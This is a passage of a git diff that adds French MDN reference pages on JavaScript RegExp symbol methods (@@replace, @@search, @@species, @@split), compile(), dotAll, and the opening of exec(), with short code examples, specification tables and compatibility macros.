+<p>Cette méthode peut être utilisée de façon semblable à {{jsxref("String.prototype.matchAll()")}} mais l'objet <code>this</code> et l'ordre des arguments seront différents.</p>
+
+<pre class="brush: js">var re = /[0-9]+/g;
+var str = '2016-01-02';
+var resultat = re[Symbol.matchAll](str);
+
+console.log(<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-variable">Array</span>.<span class="cm-property">from</span>(<span class="cm-variable">result</span>at, <span class="cm-def">x</span> <span class="cm-operator">=&gt;</span> <span class="cm-variable-2">x</span>[<span class="cm-number">0</span>])</span></span></span>);
+// ["2016", "01", "02"]
+</pre>
+
+<h3 id="Utiliser_matchAll_dans_une_sous-classe">Utiliser <code>@@matchAll</code> dans une sous-classe</h3>
+
+<p>Les sous-classes de {{jsxref("RegExp")}} peuvent surcharger la méthode <code>[@@matchAll]()</code> afin de modifier le comportement par défaut (par exemple pour renvoyer un tableau ({{jsxref("Array")}}) plutôt qu'un <a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">itérateur</a>).</p>
+
+<pre class="brush: js">class MaRegExp extends RegExp {
+  [Symbol.matchAll](str) {
+    var resultat = RegExp.prototype[Symbol.matchAll].call(this, str);
+    if (!resultat) {
+      return null;
+    } else {
+      return Array.from(resultat);
+    }
+  }
+}
+
+var re = new MaRegExp('([0-9]+)-([0-9]+)-([0-9]+)', 'g');
+var str = '2016-01-02|2019-03-07';
+var resultat = str.matchAll(re);
+console.log(resultat[0]); // [ "2016-01-02", "2016", "01", "02" ]
+console.log(resultat[1]); // [ "2019-03-07", "2019", "03", "07" ]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp-prototype-matchall', 'RegExp.prototype[@@matchAll]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.@@matchAll")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{JSxRef("String.prototype.matchAll()")}}</li>
+ <li>{{JSxRef("Symbol.matchAll")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/@@replace/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/@@replace/index.html
new file mode 100644
index 0000000000..8d2f44115e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/@@replace/index.html
@@ -0,0 +1,124 @@
+---
+title: 'RegExp.prototype[@@replace]()'
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/@@replace
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@replace
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>[@@replace]()</code></strong> remplace toutes ou certaines correspondances d'un motif <code>this</code> dans une chaîne de caractère avec un outil de remplacement. La valeur renvoyée est la nouvelle chaîne ainsi créée. Cet outil de remplacement peut être une chaîne de caractère ou une fonction appelée pour chacune des correspondances.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-@@replace.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>regexp</var>[Symbol.replace](str, <var>newSubStr</var>|<var>function</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>Une chaîne de caractères ({{jsxref("String")}}) pour laquelle on souhaite effectuer des remplacement.</dd>
+ <dt><code>newSubStr (replacement)</code></dt>
+ <dd>La chaîne de caractères qui remplace les correspondances trouvées. On peut effectuer le remplacement sur un nombre donné de correspondances (cf. la section {{jsxref("String.prototype.replace", "Utiliser une chaîne de caractères comme paramètre", "#Utiliser_une_chaîne_de_caractère_comme_paramètre", 1)}} de la page {{jsxref("String.prototype.replace()")}}).</dd>
+ <dt><code>function (replacement)</code></dt>
+ <dd>Une fonction qui est appelée pour créer la sous-chaîne de remplacement. Les arguments fournis à cette fonction sont décrits dans la section {{jsxref("String.prototype.replace", "Utiliser une chaîne de caractères comme paramètre", "#Utiliser_une_chaîne_de_caractère_comme_paramètre", 1)}} de la page {{jsxref("String.prototype.replace()")}}.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne de caractères pour laquelle les correspondances (toutes ou une partie) ont été remplacées.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode est appelée de façon interne par la méthode {{jsxref("String.prototype.replace()")}} lorsque l'arugment <code>pattern</code> argument est un objet {{jsxref("RegExp")}}. Les deux lignes de code qui suivent sont équivalentes et la seconde est la version interne de la première :</p>
+
+<pre class="brush: js">'abc'.replace(/a/, 'A');
+
+/a/[Symbol.replace]('abc', 'A');</pre>
+
+<p>Cette méthode existe afin de pouvoir personnaliser le comportement du remplacement pour les classes filles de <code>RegExp</code>.</p>
+
+<p>Si l'argument décrivant le motif <strong>n'est pas</strong> un objet {{jsxref("RegExp")}}, {{jsxref("String.prototype.replace()")}} n'appellera pas cette méthode et ne créera pas d'objet {{jsxref("RegExp")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Appel_direct">Appel direct</h3>
+
+<p>Cette méthode peut être utilisée comme {{jsxref("String.prototype.replace()")}}, aux différences près que l'objet <code>this</code> est différent et que l'ordre des arguments change :</p>
+
+<pre class="brush: js">var re = /-/g;
+var str = '2016-01-01';
+var newstr = re[Symbol.replace](str, '.');
+console.log(newstr);  // 2016.01.01
+</pre>
+
+<h3 id="Utiliser_replace_dans_une_sous-classe">Utiliser <code>@@replace</code> dans une sous-classe</h3>
+
+<p>Les sous-classes de {{jsxref("RegExp")}} peuvent surcharger la méthode <code>[@@replace]()</code> pour modifier le comportement.</p>
+
+<pre class="brush: js">class MaRegExp extends RegExp {
+  constructor(pattern, flags, count) {
+    super(pattern, flags);
+    this.count = count;
+  }
+  [Symbol.replace](str, replacement) {
+    // Applique @@replace |count| fois.
+    var result = str;
+    for (var i = 0; i &lt; this.count; i++) {
+      result = RegExp.prototype[Symbol.replace].call(this, result, replacement);
+    }
+    return result;
+  }
+}
+
+var re = new MaRegExp('\\d', '', 3);
+var str = '01234567';
+var newstr = str.replace(re, '#'); // String.prototype.replace appelle re[@@replace].
+console.log(newstr); // ###34567</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype-@@replace', 'RegExp.prototype[@@replace]')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp.prototype-@@replace', 'RegExp.prototype[@@replace]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.@@replace")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.replace()")}}</li>
+ <li>{{jsxref("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}}</li>
+ <li>{{jsxref("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}}</li>
+ <li>{{jsxref("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/@@search/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/@@search/index.html
new file mode 100644
index 0000000000..f01c42c1d0
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/@@search/index.html
@@ -0,0 +1,118 @@
+---
+title: 'RegExp.prototype[@@search]()'
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/@@search
+tags:
+  - Expressions rationnelles
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@search
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>[@@search]()</code></strong> recherche une correspondance entre une expression rationnelle décrite par <code>this</code> et une chaîne de caractères donnée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-@@search.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>regexp</var>[Symbol.search](str)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>Une chaîne de caractères ({{jsxref("String")}}) sur laquelle on veut rechercher une correspondance.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<dl>
+ <dt><code>entier</code></dt>
+ <dd>Si la recherche réussit, <code>[@@search]()</code> renvoie la position de la première correspondance de l'expression rationnelle au sein de la chaîne, sinon elle renvoie <code>-1</code>.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode est appelée en interne lors de l'utilisation de {{jsxref("String.prototype.search()")}}. Ainsi, les deux exemples qui suivent sont équivalents et le second est la version interne du premier :</p>
+
+<pre class="brush: js">'abc'.search(/a/);
+
+/a/[Symbol.search]('abc');</pre>
+
+<p>Cette méthode existe afin de pouvoir adapter le comportement de la recherche pour les sous-classes de <code>RegExp</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Appel_direct">Appel direct</h3>
+
+<p>Cette méthode peut être utilisée comme {{jsxref("String.prototype.search()")}}, elle utilise simplement un objet <code>this</code> différent et un ordre de paramètres différent :</p>
+
+<pre class="brush: js">var re = /-/g;
+var str = '2016-01-02';
+var résultat = re[Symbol.search](str);
+console.log(résultat);  // 4
+</pre>
+
+<h3 id="Utiliser_search_avec_une_sous-classe">Utiliser <code>@@search</code> avec une sous-classe</h3>
+
+<p>Les sous-classes de {{jsxref("RegExp")}} peuvent surcharger <code>[@@search]()</code> afin de modifier le comportement obtenu :</p>
+
+<pre class="brush: js">class MaRegExp extends RegExp {
+  constructor(str) {
+    super(str)
+    this.pattern = str;
+  }
+  [Symbol.search](str) {
+    return str.indexOf(this.pattern);
+  }
+}
+
+var re = new MaRegExp('a+b');
+var str = 'ab a+b';
+var résultat = str.search(re); // String.prototype.search appelle re[@@search].
+console.log(résultat); // 3
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype-@@search', 'RegExp.prototype[@@search]')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp.prototype-@@search', 'RegExp.prototype[@@search]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.@@search")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.search()")}}</li>
+ <li>{{jsxref("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}}</li>
+ <li>{{jsxref("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}}</li>
+ <li>{{jsxref("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/@@species/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/@@species/index.html
new file mode 100644
index 0000000000..00f4bbb507
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/@@species/index.html
@@ -0,0 +1,77 @@
+---
+title: 'get RegExp[@@species]'
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/@@species
+tags:
+  - Expressions rationnelles
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@species
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété accesseur <code><strong>RegExp[@@species]</strong></code> renvoie le constructeur <code>RegExp</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-getregexp-@@species.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">RegExp[Symbol.species]
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>L'accesseur <code>species</code> renvoie le constructeur par défaut pour les objets <code>RegExp</code>. Les constructeurs des sous-classes peuvent surcharger ce symbole afin de modifier l'affectation du constructeur.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La propriété <code>species</code> renvoie le constructeur par défaut, dans le cas des objets <code>RegExp</code>, c'est le constructeur <code>RegExp</code> :</p>
+
+<pre class="brush: js">RegExp[Symbol.species]; // function RegExp()</pre>
+
+<p>Pour les objets dérivés (par exemple, une classe <code>MaRegExp</code>), la valeur de <code>species</code> sera le constructeur <code>MaRegExp</code>. Il est possible de surcharger ce comportement afin de renvoyer le constructeur parent <code>RegExp</code> :</p>
+
+<pre class="brush: js">class MaRegExp extends RegExp {
+  // On surcharge species pour renvoyer
+  // le constructeur parent RegExp
+  static get [Symbol.species]() { return RegExp; }
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-regexp-@@species', 'get RegExp [ @@species ]')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-regexp-@@species', 'get RegExp [ @@species ]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.@@species")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{jsxref("Symbol.species")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/@@split/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/@@split/index.html
new file mode 100644
index 0000000000..0581e2a64d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/@@split/index.html
@@ -0,0 +1,118 @@
+---
+title: 'RegExp.prototype[@@split]()'
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/@@split
+tags:
+  - Expressions rationnelles
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@split
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>[@@split]()</code></strong> permet de découper une chaîne de caractères ({{jsxref("String")}}) en un tableau de sous-chaînes.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-@@split.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>regexp</var>[Symbol.split](str[, <var>limite</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>La chaîne de caractères qu'on souhaite découper.</dd>
+ <dt><code>limite</code></dt>
+ <dd>
+ <p>Paramètre optionnel. Un entier indiquant le nombre maximal de sous-chaînes à trouver. La méthode <code>[@@split]()</code> découpe la chaîne pour chaque correspondance de l'expression rationnelle <code>this</code> jusqu'à ce que le nombre d'éléments obtenus atteigne cette limite ou que la chaîne n'ait plus de correspondances.</p>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau ({{jsxref("Array")}}) dont les éléments sont les sous-chaînes de caractères issues de la découpe.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode est appelée de façon interne par la méthode {{jsxref("String.prototype.split()")}} lorsque l'argument <code>str</code> est un objet {{jsxref("RegExp")}}. Ainsi, les deux exemples qui suivent sont équivalents et le second est la version interne du premier :</p>
+
+<pre class="brush: js notranslate">'a-b-c'.split(/-/);
+
+/-/[Symbol.split]('a-b-c');</pre>
+
+<p>Cette méthode existe afin de pouvoir adapter le fonctionnement de la découpe pour les sous-classes de <code>RegExp</code>.</p>
+
+<p>Si le séparateur n'est pas un objet {{jsxref("RegExp")}}, la méthode {{jsxref("String.prototype.split()")}} n'appellera pas cette méthode et ne créera pas d'objet {{jsxref("RegExp")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Appel_direct">Appel direct</h3>
+
+<p>Cette méthode peut être utilisée comme  {{jsxref("String.prototype.split()")}}, l'objet <code>this</code> est différent et l'ordre des arguments également.</p>
+
+<pre class="brush: js notranslate">var re = /-/g;
+var str = '2016-01-02';
+var résultat = re[Symbol.split](str);
+console.log(résultat);  // ["2016", "01", "02"]
+</pre>
+
+<h3 id="Utiliser_split_avec_une_sous-classe">Utiliser <code>@@split</code> avec une sous-classe</h3>
+
+<p>Les sous-classes de {{jsxref("RegExp")}} peuvent surcharger  <code>[@@split]()</code> afin de modifier le comportement de la découpe :</p>
+
+<pre class="brush: js notranslate">class MaRegExp extends RegExp {
+  [Symbol.split](str, limit) {
+    var résultat = RegExp.prototype[Symbol.split].call(this, str, limit);
+    return résultat.map(x =&gt; "(" + x + ")");
+  }
+}
+
+var re = new MaRegExp('-');
+var str = '2016-01-02';
+var résultat = str.split(re); // String.prototype.split appelle re[@@split].
+console.log(résultat); // ["(2016)", "(01)", "(02)"]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype-@@split', 'RegExp.prototype[@@split]')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp.prototype-@@split', 'RegExp.prototype[@@split]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.@@split")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}}</li>
+ <li>{{jsxref("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}}</li>
+ <li>{{jsxref("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/compile/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/compile/index.html
new file mode 100644
index 0000000000..4ce0f1f857
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/compile/index.html
@@ -0,0 +1,87 @@
+---
+title: RegExp.prototype.compile()
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/compile
+tags:
+  - Deprecated
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/compile
+---
+<div>{{JSRef}} {{deprecated_header}}</div>
+
+<p>La méthode dépréciée <code><strong>compile</strong></code><strong><code>()</code></strong> est utilisée afin de (re)compiler une expression rationnelle lors de l'exécution d'un script. Cette méthode effectue essentiellement les mêmes actions que le constructeur <code>RegExp</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code><var>regexObj</var>.compile(<var>motif, flags</var>)</code></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>motif</code></dt>
+ <dd>Le texte de l'expression rationnelle.</dd>
+ <dt><code>flags</code></dt>
+ <dd>
+ <p>S'ils sont utilisés, les drapeaux (<em>flags</em>) peuvent être combinés avec les valeurs suivantes :</p>
+
+ <dl>
+  <dt><code>g</code></dt>
+  <dd>correspondance globale</dd>
+  <dt><code>i</code></dt>
+  <dd>ignorer la casse</dd>
+  <dt><code>m</code></dt>
+  <dd>multiligne : on traite les caractères de début et de fin (^ et $) de façon à travailler sur plusieurs lignes (ils correspondent au début et à la fin de chaque ligne et non au début ou à la fin de la chaîne entière)</dd>
+  <dt><code>y</code></dt>
+  <dd>adhérence : ne recherche les correspondances qu'à partir de l'indice fourni par la propriété <code>lastIndex</code> de l'expression rationnelle dans la chaîne cible (la recherche n'est pas effectuée pour les indices suivants).</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>compile</code> est dépréciée. Pour obtenir le même effet, on utilisera le constructeur <code>RegExp</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on voit comment réinitialiser le motif et les drapeaux d'une expression rationnelle grâce à  la méthode <code>compile()</code>.</p>
+
+<pre class="brush: js">var regexObj = new RegExp("toto", "gi");
+regexObj.compile("nouveau toto", "g");
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype.compile', 'RegExp.prototype.compile')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp.prototype.compile', 'RegExp.prototype.compile')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.compile")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/dotall/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/dotall/index.html
new file mode 100644
index 0000000000..37335fe2c0
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/dotall/index.html
@@ -0,0 +1,50 @@
+---
+title: RegExp.prototype.dotAll
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/dotAll
+tags:
+  - Draft
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/dotAll
+---
+<p>{{JSRef}}{{Draft}}</p>
+
+<p>La propriété <strong><code>dotAll</code></strong> indique si le marqueur "<code>s</code>" est utilisé pour l'expression rationnelle. <code>dotAll</code> est une propriété en lecture seule et qui renseigne à propos de l'expression rationnelle courante.</p>
+
+<p>{{JS_Property_Attributes(0, 0, 1)}}</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>dotAll</code> est un booléen qui vaut <code>true</code> si le marqueur "<code>s</code>" a été utilisé pour l'expression et <code>false</code> sinon. Le marqueur "<code>s</code>" indique que le caractère spécial point ("<code>.</code>") doit également correspondre aux caractères de saut de ligne (et pour lesquels il ne correspondrait pas s'il n'était pas activé) :</p>
+
+<ul>
+ <li>U+000A LINE FEED (LF) ("<code>\n</code>")</li>
+ <li>U+000D CARRIAGE RETURN (CR) ("<code>\r</code>")</li>
+ <li>U+2028 LINE SEPARATOR</li>
+ <li>U+2029 PARAGRAPH SEPARATOR</li>
+</ul>
+
+<p>Cela signifie ainsi que le point peut correspondre à n'importe quel caractère du plan multilingue de base Unicode (ou <em>Basic Multilingual Plane</em> (BMP)). Si on souhaite également cibler les caractères des plans astraux, il faudra utiliser le marqueur "<code>u</code>" (unicode). En utilisant les deux marqueurs simultanément, on peut alors cibler n'importe quel caractère Unicode.</p>
+
+<p>Cette propriété est uniquement accessible en lecture et ne peut pas être modifiée.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.dotAll")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{JSxRef("RegExp.lastIndex")}}</li>
+ <li>{{JSxRef("RegExp.prototype.global")}}</li>
+ <li>{{JSxRef("RegExp.prototype.ignoreCase")}}</li>
+ <li>{{JSxRef("RegExp.prototype.multiline")}}</li>
+ <li>{{JSxRef("RegExp.prototype.source")}}</li>
+ <li>{{JSxRef("RegExp.prototype.sticky")}}</li>
+ <li>{{JSxRef("RegExp.prototype.unicode")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/exec/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/exec/index.html
new file mode 100644
index 0000000000..6db78d71f3
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/exec/index.html
@@ -0,0 +1,200 @@
+---
+title: RegExp.prototype.exec()
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/exec
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/exec
+---
+<div>{{JSRef}}</div>
+
